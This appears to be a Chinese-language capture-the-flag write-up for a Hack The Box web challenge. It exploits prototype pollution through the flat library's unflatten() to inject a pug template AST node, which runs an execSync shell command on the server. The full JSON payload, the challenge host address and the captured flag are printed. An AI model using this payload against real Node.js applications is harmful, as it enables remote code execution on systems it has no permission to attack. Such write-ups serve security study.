题目描述
(有附件)
观察 打开网页:
查看源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 const path = require ('path' );const express = require ('express' );const pug = require ('pug' );const { unflatten } = require ('flat' );const router = express.Router ();router.get ('/' , (req, res ) => { return res.sendFile (path.resolve ('views/index.html' )); }); router.post ('/api/submit' , (req, res ) => { const { artist } = unflatten (req.body ); if (artist.name .includes ('Haigh' ) || artist.name .includes ('Westaway' ) || artist.name .includes ('Gingell' )) { return res.json ({ 'response' : pug.compile ('span Hello #{user}, thank you for letting us know!' )({ user : 'guest' }) }); } else { return res.json ({ 'response' : 'Please provide us with the full name of an existing member.' }); } }); module .exports = router;
发现它使用了 pug 模板引擎,是专门用来生成 HTML的。
使用Burpsuit抓包可以发现网页给 /api/submit 发送的是:
渗透 这段代码里一开始引用的 unflatten() 正是漏洞所在。
(具体攻击原理参考 https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68)
将发送的内容改成(放到Repeater里修改了再发送):
1 2 3 4 5 6 7 8 9 { "artist.name" : "Haigh" , "__proto__" : { "block" : { "type" : "Text" , "line" : "console.log(process.mainModule.require('child_process').execSync('cp /app/flag* /app/static/flag').toString())" } } }
这个内容经过 unflatten() 的处理后会变成:
1 2 3 4 5 6 7 8 9 { artist : { name : "Haigh" }, __proto__ : { block : { type : "Text" , line : "console.log(process.mainModule.require('child_process').execSync('cp /app/flag* /app/static/flag').toString())" } } }
这里的__proto__ 会污染 所有对象的原型,让所有对象都拥有 .block 这个属性。
这段代码最终干的事情便是:
1 cp /app/flag* /app/static/flag
会将flag的内容复制到 /app/static/flag 目录下,然后我们直接访问
1 http://83.136.249.227:44133/static/flag
便可下载文件然后得到flag:HTB{wh3n_lif3_g1v3s_y0u_p6_st4rT_p0llut1ng_w1th_styl3!!} 。